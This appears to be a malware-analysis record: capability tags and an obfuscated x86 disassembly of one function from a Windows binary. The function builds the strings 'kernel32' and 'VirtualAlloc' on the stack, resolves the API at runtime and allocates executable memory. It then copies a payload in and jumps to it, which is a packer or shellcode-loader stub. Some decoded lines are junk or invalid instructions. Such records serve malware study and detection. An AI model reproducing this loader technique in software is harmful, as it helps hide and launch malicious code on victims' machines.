Function at 0x401c5c
Capabilities:
Accept command line arguments
Encrypt data using chaskey

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x151c
call fcn.004037f0
mov eax, dword [0x404034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 8
pop ecx
push 0xa
xor ebx, ebx
lea edi, [ebp - 0x14b8]
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x151c]
mov dword [ebp - 0x14c4], ebx
push 0x208
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x14bc], ebx
push ebx
push eax
mov dword [ebp - 0x14c8], ebx
mov dword [ebp - 0x14cc], ebx
mov dword [ebp - 0x14d0], ebx
mov dword [ebp - 0x14d4], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov dword [ebp - 0x14f0], ebx
push ecx
lea eax, [ebp - 0xc38]
mov dword [ebp - 0x14f4], ebx
push eax
lea ecx, [ebp - 0x14e0]
mov dword [ebp - 0x14ec], ebx
mov dword [ebp - 0x14e8], ebx
call fcn.00401ab0
push ebx
push ebx
mov dword [ebp - 0x14e4], ebx
xor edx, edx
inc ebx
push ebx
pushal
pushfd
and esi, edi
mov ecx, edx
and esi, edi
shr esi, 0x17
xor dword [0x4046d8], edi
neg eax
and dword [0x40453e], 0x6e5fb25
xor edx, esp
call fcn.00403503
dec eax
mov esi, dword [0x4041e0]
mov esi, eax
add edx, esi
test esp, ecx
jo 0x401d58
add ecx, esp
add ecx, ebp
mov ebx, eax
shl esi, 0xa
mov edx, eax
and esi, edi
ror edx, 0x16
xor ebx, esi
sub dword [0x404536], 0x5f7eff9
xor ecx, eax
test eax, esi
jo 0x401d68
stc
out dx, eax
test dword [0xf085c833], 0xb4e80670
sbb byte [eax], al
add cl, al
call fcn.0040361b
rol esi, 0x14
inc eax
mov eax, 0x17748336
inc esi
mov ecx, 0xe05fed
invalid
shr edx, 4
or dword [0x404607], ecx
inc eax
shr esi, 0x13
inc esi
call fcn.00403503
add dword [0x40487c], edx
not edx
ror eax, 0x10
not eax
neg esi
loop 0x401d76
mov edi, dword [0x404145]
xchg esi, eax
call fcn.00403503
rol eax, 0x15
and esi, edi
sub esi, 0x15b38b81
sub eax, ebp
or edi, 0xc3e9f15
mov edi, edx
or ecx, 0xaf6173f
mov eax, 0x2d42437d
add ecx, ebp
shr edi, 0xe
add eax, esi
or esi, edi
and esi, edi
dec edx
xor esi, ebp
not esi
call fcn.00401b20
xor ecx, eax
mov edx, eax
or esi, edi
xor edi, eax
rol edx, 4
or edx, eax
mov ecx, 0x376d38
shr esi, 0x12
xchg esi, eax
dec esi
xchg eax, edx
shr eax, 0x16
rol esi, 5
xchg esi, eax
inc edx
neg esi
dec ebx
inc esi
shl edx, 0xb
or ebx, dword [0x4041ca]
sub dword [0x404794], 0xaae9cd7
loop 0x401dee
inc edx
ror eax, 0x1e
sub ecx, eax
or esi, edi
xor edi, dword [0x404106]
dec eax
xor esi, 0x140dc00c
sub edi, dword [0x404144]
not eax
mov edx, 0xf3f70bf
inc eax
not eax
mov edx, eax
xor ebx, eax
add esi, 0x34be7ab
or edx, 0xc274a58
mov ecx, 0xf8a6f4
call fcn.004019c6
not esi
or esi, dword [0x404008]
xchg eax, eax
sub dword [0x40451c], 0x11f94abe
shr esi, 3
mov edi, dword [0x404180]
mov ebx, dword [0x40412e]
call fcn.00402fe3
rol edx, 9
test ebx, 0x1387a92c
jo 0x401e65
sub eax, 0x40451c
mov esi, 0xc111f94a
inc eax
add byte [esi - 0x3eee06b6], bh
out dx, al
add ecx, dword [ebx + 0x4041803d]
add byte [ebx + 0x40412e1d], cl
add al, ch
adc dword fs:[eax], eax
add cl, al
ret 0xf709
neg esi
call fcn.00403503
loop 0x401e52
rol esi, 0x16
mov eax, esi
neg eax
and ebx, eax
shl esi, 0x10
mov ecx, ebx
rol ebx, 0xc
mov ebx, ebx
xchg esi, eax
xor edx, esp
xor esi, 0xb781116
xor edx, esi
sub esi, eax
rol ecx, 8
xor esi, eax
test ecx, ebx
jo 0x401e62
mov esi, eax
sub ecx, esp
dec esi
sub esi, 0x1d2e01
test ebx, ecx
jo 0x401f1e
shr ecx, 0x1c
not esi
push 0
add ebx, 0x4c375e6
sub esi, dword [0x404078]
or dword [0x404528], ecx
xor esi, dword [0x404184]
ror ecx, 9
mov dword [0x4044d0], 0x13175530
call fcn.00402fe5
add esi, eax
sub dword [0x404880], 0x662f8a4
xchg esi, eax
ror esi, 0xd
or dword [0x4047c7], 0x27c48d9e
call fcn.004019c6
mov dword [0x404720], 0x275150a
or dword [0x4044ca], esi
push 0x320033
xor esi, eax
xchg eax, esi
ror esi, 0x1c
inc esi
add ecx, edi
sub edx, eax
rol esi, 0x19
call fcn.0040361b
rol ebx, 0xc
dec edi
not esi
ror esi, 0x13
sub ecx, dword [0x40412c]
or dword [0x404528], 0x148f0000
neg eax
sub dword [0x404526], edi
sub dword [0x404598], edi
call fcn.004019c6
push 0x6c0065
not esi
sub edi, dword [0x404050]
xor ebx, edx
dec esi
xor ebx, eax
inc ebx
call fcn.0040361b
xor esi, dword [0x4041d0]
sub dword [0x4046d0], 0xcddb80
rol edx, 0x19
sub edx, dword [0x404010]
xor ecx, eax
rol eax, 9
or dword [0x404837], 0x4ea44cc
not esi
xor esi, 0x3c8e2c
rol edx, 0xd
dec ebx
call fcn.00403503
call fcn.00402fe5
xor dword [0x404667], 0x39595c
mov dword [0x404550], 0x96fb560
call fcn.00403218
push 0x6e0072
xor ecx, dword [0x404076]
xor ebx, eax
sub dword [0x40484d], ebx
not esi
xor ebx, 0x104d806
xchg esi, edx
mov dword [0x40490e], edi
or dword [0x4044e6], 0x1e6aea4b
mov dword [0x4046a1], 0x17b1b8d0
not eax
xor dword [0x40491f], 0x3e3cf28
push 0x65006b
xor esi, edi
xor dword [0x4043e3], 0x30bbf02
and dword [0x4045bc], ecx
sub esi, dword [0x4040cd]
call fcn.0040361b
or dword [0x404528], 0xcf0ce70
xor eax, esi
xor ecx, 0xbe1fed0
xor edx, 0x1a101714
dec eax
or dword [0x404718], 0x5d1f420
rol esi, 0xd
xor eax, esp
sub esi, dword [0x4040e6]
dec ecx
call fcn.00402fe5
xor dword [0x4049a4], esi
push esp
sub ebx, dword [0x404110]
ror ecx, 8
xor esi, eax
sub ecx, dword [0x404188]
neg esi
call fcn.00402fe5
xor esi, eax
add esi, 0xfa10614
mov dword [0x4049c8], 0xc87acb2
xor ecx, dword [0x4041ef]
sub eax, 0x569a99f
call fcn.00402fe5
xor eax, eax
sub dword [0x4044fe], ebx
rol esi, 0xc
sub ebx, ebx
neg esi
call fcn.00402fe5
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc esi
sub eax, esp
add eax, ebp
dec eax
xor eax, 0x1786e150
xor esi, eax
rol esi, 0x13
xor esi, 0x1ecb7a0
rol edx, 0x1f
dec eax
mov dword [0x404930], ecx
xor ebx, 0x84cc9bf
neg eax
call fcn.004019c6
xor esi, edx
not esi
not esi
xor esi, edx
call fcn.004019c6
neg eax
xor ebx, 0x84cc9bf
inc eax
ror edx, 0x1f
xor esi, 0x1ecb7a0
ror esi, 0x13
xor esi, eax
xor eax, 0x1786e150
inc eax
sub eax, ebp
add eax, esp
dec esi
add esp, 0x14
xor eax, ecx
add edx, 0x227b9e83
sub ebx, dword [0x404c08]
sub ebx, dword [0x404d58]
xor ecx, eax
xchg eax, eax
sub ecx, dword [0x404f54]
not edx
xor edx, dword [0x404ad2]
ror eax, 0x1e
call fcn.00402fe5
add ecx, eax
call fcn.00401b20
call fcn.00402fe5
sub ecx, eax
rol eax, 0x1e
not edx
xchg eax, eax
xor ecx, eax
sub edx, 0x227b9e83
xor eax, ecx
push 0
xor esi, eax
xchg edx, eax
not eax
call fcn.004019c6
not ecx
xor edx, esp
call fcn.004019c6
xchg esi, edx
not eax
call fcn.00402fe5
ror ecx, 0x18
not eax
ror esi, 6
mov dword [0x4045b1], 0x1b011ca9
call fcn.004019c6
rol eax, 0xb
and dword [0x4048fb], esi
sub dword [0x4046e8], ecx
ror eax, 0xb
mov dword [0x4049ca], 0x1cdf9898
rol esi, 6
not eax
rol ecx, 0x18
not eax
xchg esi, edx
call fcn.00402fe5
xor edx, esp
not ecx
call fcn.00402fe5
not eax
xchg edx, eax
xor esi, eax
push 0x636f6c6c
ror edx, 8
xor esi, eax
sub edx, dword [0x404e94]
not esi
xor dword [0x40486e], ebx
sub dword [0x40499e], ecx
inc edx
xor dword [0x404928], 0x14ef1d56
xchg ebx, eax
dec eax
mov dword [0x4048f8], edx
or dword [0x4043ec], esi
inc eax
xchg ebx, eax
and dword [0x40448f], 0xebb4e59
dec edx
add dword [0x404800], edi
not esi
xor esi, eax
rol edx, 8
push 0x416c6175
call fcn.00402fe5
inc esi
sub edx, eax
xchg esi, eax
xor edi, dword [0x404a50]
dec eax
mov dword [0x404425], 0x2cb7766
add esi, edx
call fcn.004019c6
dec esi
xor ebx, eax
rol eax, 0xa
sub edi, dword [0x404d3a]
sub esi, dword [0x404bd6]
not eax
not eax
ror eax, 0xa
xor ebx, eax
inc esi
call fcn.00402fe5
sub esi, edx
mov dword [0x4046d5], 0x1dba9b32
inc eax
xchg esi, eax
add edx, eax
dec esi
call fcn.00402fe5
push 0x74726956
add ebx, dword [0x404da4]
xchg ebx, eax
xor dword [0x4045e2], esi
sub edi, esp
or dword [0x4047b0], edi
xor ecx, eax
neg esi
xchg eax, eax
neg edx
sub esi, dword [0x404b88]
add edi, esp
not esi
call fcn.00402fe5
rol eax, 0x1e
neg eax
sub edi, dword [0x404bde]
mov dword [0x40477d], 0x1dbb54f
rol edx, 0x1f
call fcn.004034b4
not ebx
not ebx
call fcn.004019c6
ror edx, 0x1f
sub dword [0x4044d8], 0x222f8b93
neg eax
ror eax, 0x1e
call fcn.00402fe5
not esi
sub edi, esp
neg edx
xchg eax, eax
neg esi
xor ecx, eax
add edi, esp
mov dword [0x4049ab], ebx
xchg ebx, eax
push esp
ror ebx, 0x1e
xor esi, 0xda1e80b
not esi
dec esi
sub ecx, dword [0x404c59]
xor eax, 0x2a671b85
neg esi
xor edi, eax
inc esi
call fcn.00402fe5
dec esi
xor edi, eax
neg esi
xor eax, 0x2a671b85
inc esi
not esi
xor esi, 0xda1e80b
rol ebx, 0x1e
push eax
xor dword [0x404731], ecx
add edx, esp
rol esi, 4
xchg edi, edx
mov dword [0x404700], 0xe24c878
neg edi
xor esi, ecx
xor ebx, dword [0x404fa5]
sub esi, ebp
call fcn.004019c6
neg esi
xor esi, eax
xor dword [0x404418], esi
not ebx
xor eax, 0x13ac838
inc eax
sub edi, eax
xor ebx, 0x74fb4e8
mov dword [0x404634], edx
add dword [0x40454c], ecx
xor ebx, 0x74fb4e8
add edi, eax
dec eax
xor eax, 0x13ac838
not ebx
or dword [0x4048e1], ebx
xor esi, eax
neg esi
call fcn.00402fe5
add esi, ebp
xor esi, ecx
neg edi
mov dword [0x404673], 0x4d4b86e
xchg edi, edx
ror esi, 4
sub edx, esp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
ror ebx, 0x16
not edi
inc esi
neg eax
add eax, 0x527010e
call fcn.00402fe5
neg eax
mov dword [0x404739], edx
xor edx, dword [0x404cd6]
dec edi
ror edx, 4
xor ecx, dword [0x404db2]
call fcn.00402fe5
neg edx
mov dword [0x4047b0], ebx
xor ecx, dword [0x404cc1]
xor dword [0x404493], ecx
xor eax, ebx
xchg esi, esi
dec edx
xchg eax, edx
call fcn.004031d2
call fcn.004019c6
xchg eax, edx
inc edx
xchg esi, esi
xor eax, ebx
neg edx
call fcn.004019c6
rol edx, 4
inc edi
neg eax
call fcn.00402fe5
sub eax, 0x527010e
neg eax
dec esi
not edi
rol ebx, 0x16
add esp, 0x10
and dword [0x4046f4], edi
inc eax
xchg esi, esi
xor edx, eax
rol edi, 0x13
add ebx, dword [0x404f4e]
rol edx, 9
inc edi
add dword [0x4048e0], 0x2b9f9311
dec esi
mov dword [0x4047f0], edi
call fcn.00402fe5
inc esi
xor edx, esp
dec edi
and dword [0x404774], ebx
xor ebx, esi
xor ecx, dword [0x404e58]
neg edx
neg edx
xor ebx, esi
inc edi
xor edx, esp
dec esi
call fcn.00402fe5
inc esi
mov dword [0x4044ae], 0x4aed2a0
dec edi
ror edx, 9
ror edi, 0x13
xor edx, eax
xchg esi, esi
dec eax
push 0x40
rol ebx, 0x14
sub esi, edi
sub ecx, dword [0x404a3a]
xor eax, 0x151a16
xor esi, dword [0x404ad4]
xchg esi, eax
not eax
sub esi, eax
add esi, eax
xchg esi, esi
ror ecx, 0x1a
dec ebx
xor esi, eax
sub esi, 0x2094d96
call fcn.00402fe5
xor edi, dword [0x404ccc]
xor ecx, esp
xor edi, dword [0x404c1a]
sub ecx, dword [0x404e83]
add edi, edx
sub edi, edx
xor ecx, esp
call fcn.004019c6
add esi, 0x2094d96
xor esi, eax
inc ebx
rol ecx, 0x1a
xchg esi, esi
sub esi, eax
add esi, eax
not eax
xchg esi, eax
xor eax, 0x151a16
add esi, edi
ror ebx, 0x14
push 0x3000
rol edx, 7
not eax
xor esi, edx
call fcn.00402fe5
xor esi, eax
sub edx, 0x15897b44
xor ebx, ebp
dec esi
neg edx
mov dword [0x4044e3], 0x29e758d8
xor esi, eax
sub ecx, ebx
not eax
xor esi, eax
xor ebx, ebp
add dword [0x4047b8], edi
add esi, eax
xor dword [0x404943], edi
xor esi, dword [0x404e5c]
call fcn.004019c6
call fcn.004019c6
mov dword [0x40495b], esi
sub esi, eax
xor ebx, ebp
xor esi, eax
not eax
add ecx, ebx
xor esi, eax
xor dword [0x4046c8], 0x12481f68
neg edx
inc esi
xor ebx, ebp
add edx, 0x15897b44
xor esi, eax
call fcn.00402fe5
xor esi, edx
not eax
ror edx, 7
push 0x56b
dec esi
mov dword [0x4047b8], 0x8caabe7
rol ebx, 0x17
sub dword [0x4044f8], 0x20f72be9
call fcn.00403574
neg edx
sub dword [0x40496f], 0x669224c
call fcn.00402fe5
not esi
or dword [0x4045e6], edi
not esi
or dword [0x40476f], 0xcd4790
neg edx
call fcn.004031d2
ror ebx, 0x17
sub dword [0x404682], 0x1e90e307
inc esi
push 0
ror eax, 0x16
xor ecx, dword [0x404aa0]
inc ebx
ror esi, 0xd
and dword [0x404944], 0x42d6e6a
not eax
sub edx, dword [0x404b1a]
sub eax, 0x176424d8
xor edx, dword [0x404cb7]
sub ecx, ebx
xor edi, dword [0x404fc0]
sub esi, esp
sub edx, dword [0x404a1c]
rol edx, 0x14
neg eax
xor edx, dword [0x404af8]
neg eax
ror edx, 0x14
add esi, esp
add ecx, ebx
add eax, 0x176424d8
not eax
sub dword [0x40473e], 0xa90f320
rol esi, 0xd
dec ebx
rol eax, 0x16
call eax
mov dword [0x404402], ecx
call fcn.00401b20
xor edx, dword [0x404c84]
xor esi, eax
mov dword [0x40460f], ebx
call fcn.00402fe5
sub esi, eax
xor ecx, ebp
xchg eax, edx
add ecx, eax
sub ecx, eax
xchg eax, edx
xor ecx, ebp
add esi, eax
call fcn.004019c6
sub dword [0x404885], edx
xor esi, eax
call fcn.00402fe5
call 0x4026df
ror eax, 0x1f
xor ecx, 0xa8fb968
call fcn.004033f7
sub ebx, ebp
not esi
xchg edx, eax
not esi
mov dword [0x4048d0], ecx
dec edx
not esi
xor edx, eax
mov dword [0x4045c7], ecx
or dword [0x40468b], 0x1ed90aee
inc esi
not esi
dec edx
mov dword [0x404646], 0x55d836c
xchg esi, edx
xchg esi, edx
inc edx
not esi
dec esi
mov dword [0x40499c], esi
xor edx, eax
not esi
inc edx
and dword [0x404500], edx
not esi
xchg edx, eax
not esi
add ebx, ebp
xor ecx, 0xa8fb968
rol eax, 0x1f
pop esi
neg esi
sub dword [0x4043c0], 0xb0d2b56
xor esi, eax
add dword [0x4048e3], 0xa2f6485
call fcn.004019c6
add ecx, esi
neg esi
mov dword [0x40494f], ecx
sub edi, dword [0x404a22]
xor edi, esp
xor edi, esp
neg esi
sub ecx, esi
call fcn.00402fe5
mov dword [0x4048ed], 0x2b2d0125
xor esi, eax
and dword [0x404610], 0x1b18d9a4
neg esi
add esi, 0x305
xchg eax, eax
sub esi, eax
rol esi, 0x1a
inc eax
sub eax, 0x1b93c6a8
add ebx, 0xacdfa9c
xor esi, dword [0x404a5e]
sub esi, 0x10d9a53e
rol esi, 0x1a
neg ebx
sub ebx, dword [0x404fb4]
xor dword [0x4045c8], 0x2870948a
add ebx, dword [0x404aa4]
sub esi, dword [0x404aa7]
neg esi
call fcn.00402fe5
call fcn.004031d2
neg esi
or dword [0x404841], 0x22ea807e
neg ebx
ror esi, 0x1a
add esi, 0x10d9a53e
sub ebx, 0xacdfa9c
add eax, 0x1b93c6a8
dec eax
ror esi, 0x1a
add esi, eax
xchg eax, eax
mov edi, eax
mov dword [0x4048c0], 0x318cce0
xchg esi, esi
add edx, dword [0x404e04]
add ecx, ebp
rol eax, 3
xor esi, 0x182296c
mov dword [0x404764], 0x6af51b8
inc esi
xor esi, eax
call fcn.00402fe5
xchg edi, esi
xor ebx, dword [0x404b3a]
inc esi
xor ebx, eax
xor eax, esp
xor esi, eax
mov dword [0x404472], 0x19820d0e
xor edx, dword [0x404ac4]
mov dword [0x404930], 0x319359f3
xor esi, eax
xor eax, esp
xor ebx, eax
dec esi
xchg edi, esi
call fcn.00402fe5
xor esi, eax
dec esi
mov dword [0x4046e9], 0x2e0f8bbf
xor esi, 0x182296c
ror eax, 3
sub ecx, ebp
xchg esi, esi
mov dword [0x4046e6], 0x8e570a1
or byte [ecx + 0x56b], bh
add eax, 0x404720
or dl, byte [0x35090275]
retf 0x4044
inc edx
mov dword [0x40463d], edx
dec eax
call fcn.00401b82
rol esi, 0x1b
neg eax
call fcn.00402fe5
or dword [0x40496e], esi
xor esi, eax
xchg esi, eax
ror esi, 0xc
or dword [0x404668], ecx
call fcn.00403299
ror esi, 6
mov dword [0x4046b2], 0x95bd818
sub esi, eax
call fcn.00402fe5
sub esi, dword [0x404ae0]
ror eax, 0x19
and dword [0x40481e], edx
xor ecx, dword [0x404f7d]
sub ebx, dword [0x404fb8]
add dword [0x4045fe], ebx
rol eax, 0x19
call fcn.004019c6
add esi, eax
sub dword [0x404968], 0xa04dc18
rol esi, 6
rol esi, 0xc
xchg esi, eax
xor esi, eax
add dword [0x4044c0], ebx
call fcn.00402fe5
neg eax
ror esi, 0x1b
call fcn.004019c6
inc eax
mov dword [0x40482c], edi
dec edx
rep movsb byte es:[edi], byte [esi]
call fcn.004019c6
xchg esi, esi
add edi, 0x2916e7a0
call fcn.004019c6
rol esi, 0xb
xor esi, eax
sub dword [0x4046fa], 0x2255badc
add ecx, dword [0x404bf8]
inc eax
neg esi
call fcn.00402fe5
call fcn.004019c6
neg esi
dec eax
xor esi, eax
ror esi, 0xb
call fcn.00402fe5
sub edi, 0x2916e7a0
xchg esi, esi
jmp eax